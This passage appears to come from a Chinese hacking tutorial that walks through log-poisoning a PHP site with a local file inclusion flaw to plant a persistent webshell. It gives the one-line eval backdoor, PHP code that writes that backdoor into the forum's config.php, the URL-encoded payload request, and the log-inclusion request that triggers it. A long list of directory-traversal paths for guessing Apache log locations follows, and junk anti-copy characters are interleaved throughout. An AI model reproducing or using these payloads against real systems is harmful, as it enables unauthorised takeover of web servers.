因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
]& J- c! i# f% [( D4 L. e i% T4 Z8 B
比如还是这句一句话木马 0 c3 h& J& n% t7 N+ f
<?eval($_POST[cmd]);?>
3 C- ?0 f6 X, a# g0 i1 @4 p$ P6 E% m" E- L- d
到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
) |# N6 L0 V1 H& O% |$ Mfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 % n( ~% X4 h4 M# \
. l! s* w% N6 }7 ~9 Q9 F
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); / g) t1 j8 T2 C; e1 ^- k
fclose($fp);?> //在config.php里写入一句木马语句
& Y+ D( W) z6 J8 k: E7 d# C# J, K* S$ w" m8 ?
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
& E) R' _! s/ N+ G) g D1 ?转换为 [! I+ j) [/ c$ ]. R9 W. F& t1 Y
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
! J) o& S+ s% @config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
8 W5 B/ x3 \6 e) R/ m& \' f( I/ y' Y%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
$ k5 a6 G x0 h* G9 ~+ X5 H6 E! Tfclose%28%24fp%29%3B%3F%3E $ F% T* j' o+ ~+ C
我们提交
' S! s& o0 V2 i; q5 A& mhttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww $ K) N9 u) a, I9 G6 W
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
& i3 G( }: y: U6 b5 D%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B - Q7 l6 i V( y. w) o0 K
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
( z% m6 x6 y. k8 `* a" E2 O. Y9 t' k8 Y( M$ f
这样就错误日志里就记录下了这行写入webshell的代码。 3 v4 W' q8 S0 h: v
我们再来包含日志,提交 9 W$ l8 C- Z9 D! E
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
$ J: x/ V& J; M4 n, x/ k
) C1 V; Y8 J. C# J/ y5 t+ {. I这样webshell就写入成功了,config.php里就写入一句木马语句
/ G4 `& i. g- n2 H9 IOK.
2 B. E. d, ^( A- f$ }' Phttp://www.xxx.com/forum/config.php这个就成了我们的webshell
; U* Y+ @% f V; P% f4 _5 I直接用lanker的客户端一连,主机就是你的了。
* T% y) N9 }, _8 z5 a- ]% G, g' W% B
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 ( ?7 Y* ^7 i' E! B
0 [8 i) N5 Q# ?, Q# J+ |' j其他的日志路径,你可以去猜,也可以参照这里。
4 \6 J6 a% V/ b( R. o../../../../../../../../../../var/log/httpd/access_log
" l- m( `3 e8 a" {9 f. `! p6 H../../../../../../../../../../var/log/httpd/error_log 2 }/ p* q, L! z3 V3 a0 h% S
../apache/logs/error.log ) z$ [. W P# _& j' J) `6 X
../apache/logs/access.log " P( m" U: r. o8 X- r* U, u2 ]7 X
../../apache/logs/error.log 3 T7 T. L1 k \5 @
../../apache/logs/access.log ) N4 [9 j3 r4 H0 s
../../../apache/logs/error.log ) ]/ [( t5 n S9 d
../../../apache/logs/access.log
j3 \2 L" H! U5 c+ n../../../../../../../../../../etc/httpd/logs/acces_log
/ g+ U1 F i/ F../../../../../../../../../../etc/httpd/logs/acces.log , m" ~4 H) u A% U0 y" j- \* q
../../../../../../../../../../etc/httpd/logs/error_log
7 t+ X0 ?! z4 i5 C9 T8 t) i' b- t../../../../../../../../../../etc/httpd/logs/error.log . \' u+ g0 a+ Z, S+ {8 D! c
../../../../../../../../../../var/www/logs/access_log 0 |3 q( K+ o. `& t: i
../../../../../../../../../../var/www/logs/access.log , L% S2 a& G& G/ a% }1 p) n! q. V
../../../../../../../../../../usr/local/apache/logs/access_log ; E# g( O ^( ]
../../../../../../../../../../usr/local/apache/logs/access.log
; {. a" d6 {/ f' i/ }../../../../../../../../../../var/log/apache/access_log
' `5 n6 E6 ?9 J" M# a../../../../../../../../../../var/log/apache/access.log
4 h: y& D' K4 D../../../../../../../../../../var/log/access_log 3 d+ Y% u% _2 d! _5 y" i, _# Q
../../../../../../../../../../var/www/logs/error_log
% n) j+ d2 J9 [% R6 O' D../../../../../../../../../../var/www/logs/error.log
" e! C- n" L! l2 h* B' y../../../../../../../../../../usr/local/apache/logs/error_log
! Z7 d5 p3 O6 \% g! d! s$ G8 J../../../../../../../../../../usr/local/apache/logs/error.log + d3 ~3 j+ B: `" X; v# t9 M- }
../../../../../../../../../../var/log/apache/error_log 7 ~! `' @6 C2 o( j* ?* M( B
../../../../../../../../../../var/log/apache/error.log , o; p5 J7 ?/ |; T
../../../../../../../../../../var/log/access_log
8 I0 }# g+ q* t0 z7 G" ]../../../../../../../../../../var/log/error_log
6 f' L. D, |+ t7 D2 c$ B" |/var/log/httpd/access_log
* e& E1 H( p0 z! W1 r/ w- P/var/log/httpd/error_log 8 Z M, f6 c x2 T
../apache/logs/error.log : b. K1 y" h, a- z7 @6 K
../apache/logs/access.log
5 R& r: k0 P, ~0 |../../apache/logs/error.log
|/ D7 ^* @; x+ ~+ j../../apache/logs/access.log
3 t) e4 b( \5 h/ _ d6 }../../../apache/logs/error.log ! R0 G+ b3 i5 K
../../../apache/logs/access.log
6 _' l* s) }1 }5 h/etc/httpd/logs/acces_log ' X1 W [; y1 F: D
/etc/httpd/logs/acces.log " V8 @4 \ K- @5 o7 r) b5 v
/etc/httpd/logs/error_log : }* B1 ?, A! V+ e5 H# v8 t
/etc/httpd/logs/error.log
/ }0 N/ ^; a& t- A9 G, X/var/www/logs/access_log
: n5 b6 S$ o& A+ w/var/www/logs/access.log p- G# o& i# P4 R
/usr/local/apache/logs/access_log * j W# z) Y- ]5 I" |6 F
/usr/local/apache/logs/access.log 3 [8 C/ {( L5 L! o) z. ]
/var/log/apache/access_log
2 M* a3 p* F& c, f& d- T1 A5 X+ L, M. z/var/log/apache/access.log , n4 ~: E" @: E' m7 Q: p3 P' i
/var/log/access_log
" w2 m* `: l. m$ r8 ^/var/www/logs/error_log
; v2 `& Q* A2 `4 G/var/www/logs/error.log
: M- a; g" c4 g; ^( Q @/usr/local/apache/logs/error_log
# e$ }+ R1 y4 z9 o' X3 F% a! H% s$ c @/usr/local/apache/logs/error.log - r: c4 L! k# M* W/ I/ @! d/ a1 R% i1 E
/var/log/apache/error_log
( }$ t- Z3 i! ~+ E* W( P& Y/var/log/apache/error.log
* S% f9 v7 c1 Q; z* z2 u/var/log/access_log
' A7 l, f3 u+ t/var/log/error_log |